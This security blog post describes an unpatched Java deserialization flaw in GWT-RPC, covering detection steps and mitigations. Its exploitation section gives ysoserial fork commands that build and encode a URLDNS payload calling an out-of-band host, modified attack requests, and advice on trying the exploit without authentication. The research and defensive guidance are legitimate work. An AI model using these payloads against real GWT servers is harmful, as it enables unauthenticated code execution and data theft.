UPDATE: GWT versions 2.10.1 and 2.11.0 disable the use of binary Java serialization in GWT-RPC by default. This means that developers writing new GWT-based applications will receive an error when building the application if they write code that would cause GWT to use the vulnerable feature. However, the feature itself is still insecure if enabled, and an alternative has not been provided in the new versions. In other words, developers supporting code that triggers the binary Java serialization mechanism will still need to modify their application, because enabling the binary Java serialization feature will make the application vulnerable, and leaving it disabled will prevent the application from compiling.
Introduction
How would you react if I told you that GWT, a fairly popular open-source web application framework originally developed at Google contained an unauthenticated Java deserialization vulnerability that had been openly discussed in 2015 and 2020, but was still unpatched in late 2023? What if I also suggested that the vulnerability was at such a low level that securing vulnerable web applications written using this framework would likely require architectural changes to those applications or the framework itself?
If you’re anything like me, your initial reaction would be disbelief. Surely a vulnerability that could expose application owners to server-side code execution by unauthenticated attackers would have been patched less than eight years after it was discovered. If no patch had been issued, then at least the vulnerable framework features would have been marked as deprecated, and the framework documentation would provide suggestions for replacing vulnerable code with updated alternatives. At a bare minimum, the framework developers would undoubtedly have updated the “getting started” tutorials and other documentation to indicate the inherent danger of using the vulnerable features instead of highlighting the functionality.
Surprising as it may be, none of these assumptions are true. Eight years later, the vulnerability is still unpatched, and the only indications of the danger prior to this blog post were a GitHub issue from 2020 with a “WONTFIX”-style response, a few Google Groups discussions from 2015 that never led to the underlying issue being fixed, and a blog post from 2015 that correctly suggests that the issue could be resolved by signing the serialized data, except that no such functionality was ever added to GWT. There’s actually a blog post from 2020 that incorrectly claims that GWT is not vulnerable, because it supposedly never transmits serialized Java objects over the network.
In this blog post, I’ll explain the vulnerability in GWT (originally “Google Web Toolkit”, sometimes referred to as “GWT Web Toolkit”), show you how to exploit a vulnerable GWT web application, show you how to set up an intentionally vulnerable GWT web application to test against, determine if your own GWT-based application is vulnerable, and discuss potential mitigations.
GWT and Enhanced Classes
GWT allows developers to (among other things) write web applications in Java that have some logic running on the server (Tomcat, Jetty, etc.) and some in users’ web browsers. The GWT SDK generates any necessary client-side JavaScript code when the Java project is compiled. GWT includes a sort of mini-JRE written-in JavaScript for this purpose. Generally, GWT compiles custom Java objects for both the client and the server, and those objects are exchanged using a pipe-delimited text serialization format that both sides can parse. For example, the following request includes an array of String
objects and a CustomClass1
object, and the properties that describe those objects are represented as strings or digits:
POST /stockwatcher/stockPrices HTTP/1.1 …omitted for brevity… 7|0|8|http://10.1.10.161:8888/stockwatcher/|18FD06825EC4CA84A7FDA272DEDDAFBB|com.google.gwt.sample.stockwatcher.client.StockPriceService|getPrices|[Ljava.lang.String;/2600011424|com.google.gwt.sample.stockwatcher.client.CustomClass1/769391051|a|b|1|2|3|4|2|5|6|5|0|6|0|7|8|
FIGURE 1 - Example GWT-RPC request with human-readable object data
However, GWT also has a concept called “enhanced classes”, which (at a high level) are Java objects that meet certain criteria (review the linked documentation if you’d like to understand the specifics). These enhanced classes are only processed using server-side code, but are transmitted to and from the client as part of the application state, despite being opaque to the client. You can think of this as being analogous to the ViewState in ASP.NET applications, except without support for encryption or cryptographic signatures.
When enhanced classes come into the picture, they appear in GWT requests and responses encoded using a nonstandard variation on Base64. For example, the value rO0ABXcEAAAAAA==
in the following request:
POST /stockwatcher/checkCustomClass1 HTTP/1.1 …omitted for brevity… 7|0|9|http://10.1.2.20:8888/stockwatcher/|813E653A29B5DD147027BD9F1DDC06B1|com.google.gwt.sample.stockwatcher.client.CheckCustomClassService|checkCustomClass1|com.google.gwt.sample.stockwatcher.client.CustomClass1/658581322|rO0ABXcEAAAAAA==|com.google.gwt.sample.stockwatcher.client.CustomClass2/69504871|a|b|1|2|3|4|1|5|5|6|7|6|0|0|0|8|9|cd
FIGURE 2 - Example GWT-RPC request with serialized Java object
Decoding the data reveals use of the Java object serialization format (the 0xACED
header is the giveaway, and it causes the encoded version to always begin with rO0
). However, GWT’s use of the format is slightly different than standard Java serialization. Attempting to replace the value with the output of ysoserial
, for example, will cause the server to return error messages instead of deserializing the object. For example:
com.google.gwt.user.client.rpc.IncompatibleRemoteServiceException
java.io.EOFException
java.io.StreamCorruptedException
- “Too few tokens in RPC request”
This could lead a pen tester to believe that GWT was performing some sort of data validation before deserializing the object(s), and rejecting unexpected classes, but that assumption would be incorrect.
Making the situation even worse, if an application’s authentication or authorization code are handled within the GWT application (as opposed to a separate filter applied at the application server level, for example), then any deserialization vulnerabilities are exploitable by unauthenticated or unauthorized callers. This is because GWT deserializes request data before passing it to the associated server-side function.
Exploiting a Vulnerable Application
If you already have a live GWT-based application to test against, you can use the steps in this section to try exploiting it. If you don’t have access to an existing application, the “Building an example vulnerable application to test against” section, below, will walk you through quickly deploying one to practice with.
First, you’ll need a deserialization payload. As I mentioned earlier in this post, GWT’s serialization is based on the Java standard format, but it uses a specific pattern that will prevent standard exploit tool output from working. Instead of the stream directly containing a single object, it begins with an integer indicating the number of fields in the stream. For each field, the stream contains a string that represents the field name, and an arbitrary object for the field value.
I didn’t find an easy way to prepend the necessary information to an object, and ysoserial
did not seem to be actively maintained, so I created a fork that adds the necessary features (and also incorporates some additional code that others have submitted for inclusion in ysoserial
). It can generate all of the standard ysoserial
payloads (including several that hadn’t been merged into the main branch), but adds a --gwt
option to create those payloads formatted for use in a GWT-RPC request. The --gwt
option requires one additional parameter, which is the field name to include in the object stream. The specific field name is generally unimportant, but some value needs to be specified for GWT to recognize the payload as valid. In the example below, the field will be named bishopfox:
$ java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar \ --gwt bishopfox URLDNS \ "https:// dvc5ng8w4odw47m0a8qk45hdv41vpndc.oastify.com/URLDNS" \ > gwt_urldns.bin
FIGURE 3 - Generating URLDNS
payload in GWT-RPC format
GWT-RPC uses a customized version of Base64 where the + character has been replaced with $, and the / character replaced with _, so the next step is to encode the payload.
One can use standard Base64 operations, but replace + with $ and / with _ (or vice-versa) in the encoded input or output. For example:
$ base64 -w0 gwt_urldns.bin \ | sed 's/+/\$/g' \ | sed 's./._.g' \ > gwt_urldns.bin.gwt_b64
FIGURE 4 - Encoding example payload for use in GWT-RPC request
Of course, generation and encoding can be combined into a single command:
$ java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar \ --gwt bishopfox URLDNS \ "https:// dvc5ng8w4odw47m0a8qk45hdv41vpndc.oastify.com/URLDNS" \ | base64 -w0 \ | sed 's/+/\$/g' \ | sed 's./._.g' \ > gwt_urldns.bin.gwt_b64
FIGURE 5 - Generating and encoding URLDNS payload
Serialized objects may also be encoded and decoded in Python by including the option altchars=b'$_'
when calling base64.b64encode
or base64.b64decode
. For example:
$ binary_object = base64.b64decode(gwt_rpc_object, altchars=b'$_')
FIGURE 6 - Encoding data in Python
As with any other suspected Java deserialization vulnerability, I suggest starting with the ysoserial URLDNS
payload configured to load a URL based on your current Burp Suite Collaborator host name.
After generating and encoding the payload, use a tool such as Burp Suite’s Repeater module to send a modified version of the request that contains the encoded payload instead of the original value. If successful, you’ll most likely receive a response indicating that the field name was invalid:
Request
POST /stockwatcher/checkCustomClass1 HTTP/1.1 …omitted for brevity… 7|0|10|http://127.0.0.1:8888/stockwatcher/|259823D3B8B1029302496D0C7E009509|com.google.gwt.sample.stockwatcher.client.CheckCustomClassService|checkCustomClass1|com.google.gwt.sample.stockwatcher.client.CustomClass1/1972642674|rO0ABXcEAAAAAXQACWJpc2hvcGZveHNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI…omitted for brevity…0AAEueHg=|com.google.gwt.sample.stockwatcher.client.CustomClass2/69504871|java.sql.Date/730999118|1|2|1|2|3|4|1|5|5|6| …omitted for brevity…
Response
HTTP/1.1 200 OK …omitted for brevity… //EX[2,1,["com.google.gwt.user.client.rpc.IncompatibleRemoteServiceException/3936916533","java.lang.NoSuchFieldException: bishopfox"],0,7] …omitted for brevity…
FIGURE 7 - Example of request and response
If you started out by using a URLDNS
payload pointing to your Collaborator hostname, you should be able to validate that something requested that URL, or at least resolved the DNS name. There are environments so locked down that they don’t even allow resolution of public DNS names, but they’re very uncommon.
Like any other Java deserialization vulnerability, meaningful exploitation requires a gadget chain based on classes loaded on the server. The documentation for our customized fork of ysoserial
includes a way to quickly generate payloads for all of its general-purpose command execution gadget chains.
As I mentioned in the “GWT and enhanced classes” section, above, GWT deserializes requests before running any of the code in the associated GWT-RPC functions. This often means that a vulnerable GWT-RPC function can be exploited without credentials, or with low-privileged credentials, even if the GWT-RPC function requires authentication and authorization when called normally. So, if you confirm that a function is vulnerable, follow up by testing to see whether it works without authentication. If the GWT-RPC function normally requires high-privileged credentials, try sending the exploit payload using authentication data from a low-privileged account, such as signing up for a free trial of the product you’re testing.
Building an Example Vulnerable Application to Test Against
When I originally began researching this topic, I couldn’t find any open-source projects that used GWT in a vulnerable way. The GWT example project required many manual steps to create, and the result didn’t make use of the vulnerable serialization mechanism. To make it easier to practice exploiting GWT-based applications, I created a version of the GWT example project that not only uses binary serialization, but also includes JAR files vulnerable to several ysoserial
gadget chains.
Use the “quick start” instructions to quickly deploy a vulnerable GWT web application that can be exploited using several of the gadget chains included with the customized version of ysoserial
discussed above.
Is My GWT Application Vulnerable?
If you see Base64-encoded Java classes in any traffic to a GWT-based application, the application is almost certainly vulnerable.
It’s also worthwhile to check the GWT-RPC serialization policy files for the application to see if any of them contain the @ClientFields decorator
. Every policy file containing one or more instances of the @ClientField decorator
indicates at least one GWT-RPC method that should be vulnerable.
The serialization policy files are generated during the GWT build process. If you have access to the server-side code, search for files with a .gwt.rpc extension
:
$ find . -type f -iname '*.gwt.rpc' ./war/stockwatcher/259823D3B8B1029302496D0C7E009509.gwt.rpc ./war/stockwatcher/458602FF7418310373EB05D1C5992BC5.gwt.rpc
FIGURE 8 - Searching for GWT-RPC policy files on a server
If the design of the application results in a class that the server needs to exchange using GWT-RPC binary Java serialization, it will have an @ClientFields decorator
, as shown below:
$ cat war/stockwatcher/259823D3B8B1029302496D0C7E009509.gwt.rpc …omitted for brevity… @ClientFields,com.google.gwt.sample.stockwatcher.client.CustomClass1,id,str1,str2,cc2,d …omitted for brevity… @ClientFields,com.google.gwt.sample.stockwatcher.client.CustomClass2,str1,str2 …omitted for brevity…
FIGURE 9 - Classes decorated with @ClientFields
If you are conducting a zero-knowledge test of a web application, you’ll need to collect the distinct GWT-RPC strong names used by the application, then use those strong names to access the policy files. In this example request, the strong name is 259823D3B8B1029302496D0C7E009509
:
POST /stockwatcher/checkCustomClass1 HTTP/1.1 …omitted for brevity… 7|0|10|http://10.1.2.20:8888/stockwatcher/|259823D3B8B1029302496D0C7E009509|com.google.gwt.sample.stockwatcher.client.CheckCustomClassService|checkCustomClass1|com.google.gwt.sample.stockwatcher.client.CustomClass1/1972642674|rO0ABXcEAAAAAA==|com.google.gwt.sample.stockwatcher.client.CustomClass2/69504871|java.sql.Date/730999118|string1 value: 12345|string2 value: 98765|1|2|3|4|1|5|5|6|7|6|0|0|8|P___i17vzAA|0|9|10|
FIGURE 10 - An example strong name in a GWT-RPC request
It may be more efficient to search in your intercepting proxy history for strongName =
, which should give you a list of the GWT-generated JavaScript files that refer to the strong names, even if your actions within the web application haven’t necessarily generated traffic to the vulnerable methods. For example:
…omitted for brevity… var $gwt_version = "2.10.0"; var $strongName = '259823D3B8B1029302496D0C7E009509'; …omitted for brevity…
FIGURE 11 - Example of strong name reference in a GWT web application JavaScript file
Once you know the strong name(s) for the application, the policy files should be within the same directory, named using the strong name(s) with a .gwt.rpc
extension. For example:
Request
GET /stockwatcher/259823D3B8B1029302496D0C7E009509.gwt.rpc HTTP/1.1 …omitted for brevity…
Response
HTTP/1.1 200 OK …omitted for brevity… @ClientFields,com.google.gwt.sample.stockwatcher.client.CustomClass1,id,str1,str2,cc2,d …omitted for brevity… @ClientFields,com.google.gwt.sample.stockwatcher.client.CustomClass2,str1,str2 …omitted for brevity…
FIGURE 12 - Example of request and response
As shown above, the policy file for that strong name contains two classes with the @ClientFields decorator
.
This is a great way to build a checklist of traffic to watch for while using the application. If you’ve tested all the features you know of and still haven’t seen one or more of them in use, you’ll need to either dig into the source code or consider manually constructing requests for any remaining GWT-RPC methods. The GWT-RPC serialization protocol is complicated, so this post will not provide instructions for manually crafting requests, but Brian Slesinsky wrote up a good guide to the protocol in 2012 that you can refer to if you’d like to pursue that option.
Potential Mitigations for Vulnerable GWT-based Applications
As I suggested in the introduction, there likely aren’t any easy or quick fixes to secure vulnerable web applications built using GWT.
In terms of retaining the use of enhanced classes but preventing exploitation in a way that I’d consider supportable, I can think of three high-level approaches, and all of them are likely to involve substantial effort:
- Modify the web application to no longer use enhanced classes anywhere in the codebase. For complex applications, this is likely to be a major project that touches many different aspects of the code.
- Remove the
javax.persistence.Entity (@Entity)
annotation from class definitions that use it. - Remove the
javax.jdo.annotations.PersistenceCapable
annotation from class definitions that use it or set its detachable property to false.
- Remove the
- Fork and modify GWT itself to add cryptographic signatures (using a key unknown to the client) to serialized Java objects. Ideally, add encryption at the same time to prevent server-side state from being exposed in object data sent to client systems.
- Rewrite the entire application without the use of GWT.
A few options for partial mitigation in the interim may also be worth considering. However, all of these have substantial implementation and maintenance overhead.
For complex applications written using GWT, application owners could implement another layer of authentication outside of the GWT Java application itself. For example:
- A filtering layer in the same Java web application server that also hosts the GWT application.
- Non-GWT code that performs authentication and authorization, then acts as a reverse proxy to the GWT application.
Both approaches would be limited to authorization logic based on things like HTTP methods and URLs in requests. On the other hand, attackers would then need valid application credentials to exploit the vulnerability. That could represent a significant improvement or effectively none at all depending on the architecture of the web application. For example, a single-tenant or on-premise web application where user access is granted by administrative staff would benefit greatly in terms of security, because exploiting the vulnerability would require credentials belonging to someone who was trusted to access at least some of the organization’s data. At the other end of the spectrum, a multi-tenant, cloud-hosted service with self-service signup for a free trial would see very little overall security benefit, because an attacker could easily obtain credentials, then exploit the deserialization vulnerability to access data belonging to other customers of the same platform.
Application owners could also attempt to apply filtering that would block requests containing lengthy (or otherwise suspicious) serialized Java objects. This might be implemented as filtering code applied by the web application server to requests before passing them onto GWT, web application firewall (WAF) rules, or even customizing the GWT library itself. If the application is only ever exchanging very simple serialized Java objects, this could work, but I suspect that trying to maintain the list of rules would be very time-consuming and tedious for applications that exchange complex serialized Java object data.
Subscribe to Bishop Fox's Security Blog
Be first to learn about latest tools, advisories, and findings.
Thank You! You have been subscribed.